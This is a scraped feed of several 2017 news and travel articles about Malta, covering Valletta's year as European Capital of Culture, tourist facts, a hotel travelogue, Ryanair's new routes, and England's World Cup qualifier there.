Malta’s Valletta may be Europe’s smallest capital, but it was named Europe’s Capital of Culture for 2018. But how can this tiny town hope to compete with the Old Continent’s cultural heavyweights?

To a rousing chorus from an orange-cloaked choir and two black-clad soloists, 7,000 years of Maltese culture ripples, splashes, folds, sweeps and dazzles its way in glorious technicolor projections across the façade of one of Europe’s most spectacular Baroque cathedrals.

It’s the launch of Valletta 2018, marking Malta’s tiny UNESCO World Heritage capital’s year as European Capital of Culture (together with Leeuwarden in the Netherlands). With over 140 projects and 400 events planned, there has been, as you’d expect, plenty of local criticism, too: “Where’s the high culture?”; “Very flashy, but not enough of the real Malta”; “Why is it not more cutting-edge?”

Malta may be small, and Valletta is the European Union’s smallest capital, but there’s plenty of culture, ancient and modern, high and popular, awaiting the visitor in 2018’s ‘year-long festa’—and indeed at any time. In fact, Malta has the highest density of historic sights of any country, and even without the 100+ special events, there’s always a full calendar: January’s Valletta Baroque Music Festival, October opera in Gozo (the second largest island in the Maltese archipelago), summer jazz, and Europe’s largest free outdoor pop concert, to name a few.

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New accommodation in historic buildings along with new attractions are are opening all the time. Launching the European Capital of Culture year, Malta’s Minister of Culture Owen Bonnici said, “Valletta 2018 is a success story before it has even started.” And he has a point. The accolade has provided impetus—and a valuable deadline—for major restoration and renovation not only in Valletta, but also in the old medieval capital Mdina, and in the Gozo citadel. All now glow in freshly-cleaned, repaired and conserved local limestone, splendidly creamy under the Mediterranean sun.

But Valletta is no living museum; it gets busier by the day. That’s in contrast to even five years ago when the city seemed to be asleep by about 7pm. Now, its many excellent restaurants, including the just-opened Is-Suq Tal-Belt food hall, are full, and the growing number of bars overflow into the early hours.

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The main entrance to Valletta and the area around it at City Gate, is thoroughly 21st century, having been controversially but sympathetically remodeled by the architect of the London Shard, Renzo Piano. Just outside the gates, where a grubby bus station once stood, is now an expansive traffic-free limestone terrace, built just in time to be christened by the crowds at the opening of Valletta 2018.

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]]> https://briefnews.eu/forget-paris-this-tiny-town-in-malta-is-europes-culture-capital-in-2018/feed/ 0 Holidays 2018: Seven reasons why you HAVE to travel to Malta this year https://briefnews.eu/holidays-2018-seven-reasons-why-you-have-to-travel-to-malta-this-year/ https://briefnews.eu/holidays-2018-seven-reasons-why-you-have-to-travel-to-malta-this-year/#respond Sun, 31 Dec 2017 15:45:15 +0000 http://briefnews.eu/holidays-2018-seven-reasons-why-you-have-to-travel-to-malta-this-year/

1 Valetta is the European Capital of Culture 2018

Its capital, Valletta, is European Capital of Culture for 2018, a title it will share with Leeuwarden in the Netherlands.

The title has previously been held by Pilsen in Czech Republic (2015), Wroclaw in Poland (2016) and Aarhus in Denmark (2017).

The city will hold an opening ceremony on the 20 January 2018 where it will officially receive the title.

2 The weather

Malta’s average year-round temperature is 20 degrees Celsius, rising up to 27 degrees Celsius in July and August. 

Due to its proximity to the North African cost, it is hot and dry throughout the year. 

3 The Mnajdra Temples

This temple complex on the southern coast of Malta has been described by the World Heritage Sites committee as a “unique architectural masterpiece”.

It was recognised as a UNESCO World Heritage site in 1992, along with four other stone structures in the country.

4 Film fans will love it

Films such as Gladiator, The DaVinci Code, World War Z and part of the first series of Game of Thrones was filmed in Malta.

5 Maltese cuisine

Maltese cuisine is influenced by Sicilian food, and tends to include pasta, risotto and antipasti.

Bread with fresh tomatoes, capers and olive oil is a Maltese special, while the national fish is lampuka (also known as dorado).

The national meat, rabbit, is eaten in a red wine stew or fried in garlic.

6 The waterfront

Valletta has a world famous waterfront know for its the Baroque design of its buildings, such as grade 1 national monument The Pinto Stores. 

Events such as the Malta Jazz Festival and the Malta Fireworks Festivals are held here throughout the year. 

7 There’s a great nightlife scene

The open-air MTV shows in Malta bring teens of thousands of party-goers to Malta every summer, along with Lady Gaga and Enrique Iglesias in the past.

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]]> https://briefnews.eu/holidays-2018-seven-reasons-why-you-have-to-travel-to-malta-this-year/feed/ 0 Malta: Top 10 facts about the smallest country in the European Union https://briefnews.eu/malta-top-10-facts-about-the-smallest-country-in-the-european-union/ https://briefnews.eu/malta-top-10-facts-about-the-smallest-country-in-the-european-union/#respond Wed, 13 Dec 2017 00:14:47 +0000 http://briefnews.eu/malta-top-10-facts-about-the-smallest-country-in-the-european-union/

1. The Republic of Malta is a group of seven Mediterranean islands, only three of which are uninhabited. The largest is also called Malta. 

2. Malta is the smallest country in the European Union by both area and population but it is the most densely populated. 

3. The seven megalithic temples of Malta are the oldest free-standing structures in the world. 

4. There are more people of Maltese ancestry in Melbourne, Australia, than there are in Malta. 

5. The name of Malta is supposedly derived from a Greek word for honey. 

6. The official languages of Malta are English and Maltese which was once an Arabic dialect. 

7. Maltese fishing boats are painted with two eyes at the front to protect them from evil spirits. 

8. The cross in the corner of the Maltese flag is the George Cross awarded to Malta in 1942 for its bravery when bombed by Germany and Italy. 

9. Britney Spears’ great-great-grandfather Edward Richard Portelli was born in Malta around 1873. 

10. The 1941 film The Maltese Falcon is supposedly based on a Golden Falcon given to Charles V of Spain by the Knights Templar of Malta in 1539.

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]]> https://briefnews.eu/malta-top-10-facts-about-the-smallest-country-in-the-european-union/feed/ 0 Malta: Discover the rich history and spectacular sights of this Mediterranean gem https://briefnews.eu/malta-discover-the-rich-history-and-spectacular-sights-of-this-mediterranean-gem/ https://briefnews.eu/malta-discover-the-rich-history-and-spectacular-sights-of-this-mediterranean-gem/#respond Sun, 26 Nov 2017 02:17:11 +0000 http://briefnews.eu/malta-discover-the-rich-history-and-spectacular-sights-of-this-mediterranean-gem/

I’d wanted to go for some time and so my husband and I were intrigued to set off for a whistle-stop weekend there this year.

The Maltese archipelago is made up of three islands – Malta, the largest, Gozo and Comino – and lies 50 miles or so south of Sicily.

Malta is an island with a complicated past, invaded by empires across the ages, from the Carthaginians and Romans to the French and finally the British.

It has Neolithic wonders, Italian influences and played a huge role in the Second World War when it was awarded the George Cross for valour. 

We were keen to try to understand this complex history in our few days there. Almost in the centre of the island, Corinthia Palace Hotel is the perfect base from which to explore the sights, away from the busy resorts on the east coast.

It’s an oasis of luxury and calm, with three restaurants to enjoy, plus a poolside terrace kitchen, a piano bar and a beautiful spa and health club.

After a lovely quick lunch at The Summer Kitchen we met our guide from the Maltese tourist authority, which offers bespoke tours to small groups.

Our mission was to see the best Malta has to offer in an afternoon. We started in the capital, Valletta, a fortified city and UNESCO World Heritage site.

Built by the Order of St John in 1566, it is a stunning historic city and will become European Capital of Culture next year. 

We began with a quick walking tour to show us the main sights, starting in the Upper Barrakka Gardens to orientate ourselves.

Here there are stunning views across the Grand Harbour to the Three Cities – Birgu, Senglea and Cospicua – with an endless vista of domes, spires and ships’ masts.

After walking through the beautiful streets we arrived at St John’s Co-Cathedral, which contains a grand high baroque interior and works of art, before we jumped back in the minivan and headed to the city of Mdina, high on a rocky outcrop. Said to be the most complete historic walled city in the world, Mdina was Malta’s first capital.

These days, its medieval and baroque architecture is the backdrop for many films and TV shows.

Known as the silent city for its complex network of quiet, narrow streets, it is a truly stunning setting.

Sensing we were eager to experience more Maltese culture, our guide took us to a small café in Rabat, a town just outside Mdina’s walls, where she introduced us to pastizzi – small parcels of spiced peas or ricotta wrapped in wonderfully crisp flaky pastry, which swiftly became our new favourite snack.

Our day came to an end with a sunset view over the sheer Dingli Cliffs on the west coast, before heading back to the hotel with a real feel for the island.

We would have loved to have visited Gozo for its temples, the Blue Grotto caves or the Hypogeum underground burial site that is older than Stonehenge, but we spent the rest of our time exploring Valletta, Mdina and the Three Cities further – with frequent cheap buses and water taxis, getting around was easy.

The views looking back across the Grand Harbour are truly incredible and it was with great sadness that we made our final watery ride back to Valletta, enveloped in the orange tint of the setting Mediterranean sun and vowing to come back as soon as we could.

Seven nights at the Corinthia Palace Hotel Malta with Prestige Holidays (01425 480400, prestigeholidays.co.uk) costs £732 per adult, including an early booking reduction of £101pp when booked before February 28, 2018.

Valid for travel between May 9 and October 31, 2018, this includes return flights from London Gatwick with EasyJet, b&b accommodation in a deluxe twin room and private return transfers. For information on Malta, see maltauk.com. 

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]]> https://briefnews.eu/malta-discover-the-rich-history-and-spectacular-sights-of-this-mediterranean-gem/feed/ 0 What Brexit disaster? Ryanair launches NEW routes to Malta despite fear-mongering https://briefnews.eu/what-brexit-disaster-ryanair-launches-new-routes-to-malta-despite-fear-mongering/ https://briefnews.eu/what-brexit-disaster-ryanair-launches-new-routes-to-malta-despite-fear-mongering/#respond Wed, 08 Nov 2017 21:28:43 +0000 http://briefnews.eu/what-brexit-disaster-ryanair-launches-new-routes-to-malta-despite-fear-mongering/

Ryanair’s CEO Michael O’Leary has been vocal in the fears regarding Brexit and how it will affect flight routes.

He has slammed the government stating that Ryanair could be forced to cancel flights by December 2018 is a Brexit deal isn’t brought into place.

Despite this, the airline doesn’t appear to be suffering having announced it’s newest flight route to Malta.

The airline is to fly twice weekly from Belfast to the small island starting in summer 2018.

Ryanair’s David O’Brien commented: “We are pleased to launch our Belfast summer 2018 schedule, with 14 routes in total including a new summer route to Malta.”

He also announced the return of the London to Belfast route: “[This] will now operate to/from London Stansted Airport from 1st March.”

The airline suffered one of the biggest disasters in its history after a shortage of pilots, meaning 700,000 flights were cancelled.

Some customers were only told their flight was cancelled when they were in the departure lounge of the airport.

Easier this year, Michael O’Leary explained that Brexit will be “f***ing inconvenient and damaging” to the travel industry.

He admitted to being “hysterical” about it as he believed that Brexit would harm the future of flights if a deal was not found.

O’Leary explained: “There’s a real prospect for the summer of 2019 there will be no flights.

“If Britain gets pushed out of the EU it’s absolutely certain flights will stop.”

Holidays to the UK have increased since the Brexit vote, with staycations on the rise.

With the fluctuating exchange rate as well as terror fears abroad, it seems more Britons are choosing to travel closer to home.

Seaside towns and northern cities have reported a rise in bookings following the vote, with CrossCountry trains finding that Manchester and Edinburgh are now popular choices for a holiday.

With the Lake District also becoming a UNESCO site earlier this year, this has inspired holidaymakers to explore the UK instead of popular destinations abroad.

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]]> https://briefnews.eu/what-brexit-disaster-ryanair-launches-new-routes-to-malta-despite-fear-mongering/feed/ 0 Man of his word: Football fan invades pitch at Malta v England after 400 retweets https://briefnews.eu/man-of-his-word-football-fan-invades-pitch-at-malta-v-england-after-400-retweets/ https://briefnews.eu/man-of-his-word-football-fan-invades-pitch-at-malta-v-england-after-400-retweets/#respond Fri, 01 Sep 2017 23:36:48 +0000 http://briefnews.eu/man-of-his-word-football-fan-invades-pitch-at-malta-v-england-after-400-retweets/

England’s tedious victory over Malta in the World Cup qualifiers was lit up by a pitch invader who stormed the field after social media challenge to reach 400 retweets.

With England making heavy work in dispatching their less-fancied Maltese opponents in a drab affair at the Ta’ Qali National Stadium in Malta, England fan Jake Peachy decided to liven things up by posting on Twitter that he would invade the pitch if he got 400 retweets.     

With viewers clearly more interested in social media than the slow paced game the tweet quickly went viral and easily surpassed the 400 retweet and favorite threshold.

True to his word Peachy scaled the fence and stormed the pitch.

The streaker showed an impressive turn of pace as he gave security guards the run around but all good things come to an end and before long he was caught and escorted away.

However despite potential legal trouble Peachy was the toast of Twitter as many agreed that his pitch invasion was the most entertaining thing to happen in the entire match.

England eventually ran out 4-0 winners after three goals in the last 10 minutes from Ryan Bertrand, Danny Welbeck and Harry Kane. Kane had earlier given them the lead in the 53rd minute.

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]]> https://briefnews.eu/man-of-his-word-football-fan-invades-pitch-at-malta-v-england-after-400-retweets/feed/ 0 England fans treated to five minutes of free-scoring football after dull Malta qualifier https://briefnews.eu/england-fans-treated-to-five-minutes-of-free-scoring-football-after-dull-malta-qualifier/ https://briefnews.eu/england-fans-treated-to-five-minutes-of-free-scoring-football-after-dull-malta-qualifier/#respond Fri, 01 Sep 2017 22:41:45 +0000 http://briefnews.eu/england-fans-treated-to-five-minutes-of-free-scoring-football-after-dull-malta-qualifier/

Ryan Bertrand, Danny Welbeck and Harry Kane – the last two instinctive strikers’ finishes from international class deliveries – gave England their biggest competitive win for nearly two years.

What a shame so many of their supporters missed it! Disillusioned by the preceding 85 minutes of one-paced, uninventive football, dozens had politely asked stewards for the return of the giant flags that hung so proudly before kick-off of yet another game which raises more questions than answers.

They had not come to a holiday isle to witness workmanlike drudgery and the work Southgate’s players still have to do should not be lost beneath the final gloss.

Taunts of derision rang audibly around the open bowl of the Ta’Qali Stadium and increasingly it was becoming hard to argue with them.

Technically, this game marked the start of the post-Wayne Rooney era and in his absence, England started brightly enough with five half-decent chances in the opening quarter-hour.

Kane’s was the best of them, Dele Alli’s cross all but inviting him to open his account for the season and while the calendar had moved onto September, his luck was still entrenched in August.

Having failed for another year to mark the eighth month with a goal, his misery continued just a little bit longer with a header straight against the goalkeeper.

Raheem Sterling had already dithered too long in the first minute to convert an opening, Alli could not keep on top of the ball and a couple more half-chances both came to nothing.

England finally managed to get the ball into the back of the Malta net after 21 minutes, but goalkeeper Andrew Hogg was judged to have been fouled as Phil Jones powered in his header.

A measure of what England were up against is that at the right-centre of the Malta defence was Sam Magri, who plies his club trade in the National League with Ebbsfleet.

A former England Under-16 captain who qualifies for Malta through his grandfather and typified the resilient but limited no-nonsense red-brick wall England were struggling to find a way past.

They simply did not seem to have the tools. Alex Oxlade-Chamberlain may prefer to play in the middle but he buzzed away on the right happily enough but failed to deliver a final

ball to hurt the Malta defence.

On the other side Sterling struggled to control the ball and Bertrand on the overlap regularly picked out Malta heads with his crosses.

In between them Jake Livermore, replacement for the suspended Eric Dier, showed his lack of class at this level and although Jordan Henderson tried to chivvy everybody along as

captain, the quality of his passing was unhelpful to say the least.

Malta have averaged nearly three goals a game against them this campaign and are ranked 190 in the world – no wonder there were loud boos when the representatives of an island smaller than the Isle of Wight walked in on level pegging with their Premier League-waged opponents.

Rashford replaced Sterling at the break but while fireworks began to sprinkle the dark night sky in the distance behind the Malta goal, the first sign of any on the pitch was a rocket from Malta captain Andre Schembri which thankfully whizzed just wide of Joe Hart’s post.

When the England goal did finally come it was more of a fizz than a bang. Malta for once struggled to clear, Alli wriggled to make space for a pass and teed up Kane finally to open his 2017-18 account with a cool finish.

Kane did sting the hands of Hogg with a 20-yard zinger on the hourmark but that did not prevent the start of an exodus of England fans, taking their giant St George crosses with them. Even the brass band sounded mournful.

At least it looked like a positive move from Southgate when Jamie Vardy replaced Alli with 21 minutes to go – perhaps the party would finally get started. His first touch, a toe poke, went inches wide , while Rashford produced another shot from distance that Hogg beat away comfortably enough.

Even the further addition of Welbeck failed to inspire much of a goal-threat until another hopeful swinger, this time from Bertrand, snuck into the corner to muted applause with four minutes to go.

It was the cue to more collapse but those final five minutes were more about winning back lost friends than securing the points.

Rashford produced another shot from distance that Hogg beat away.

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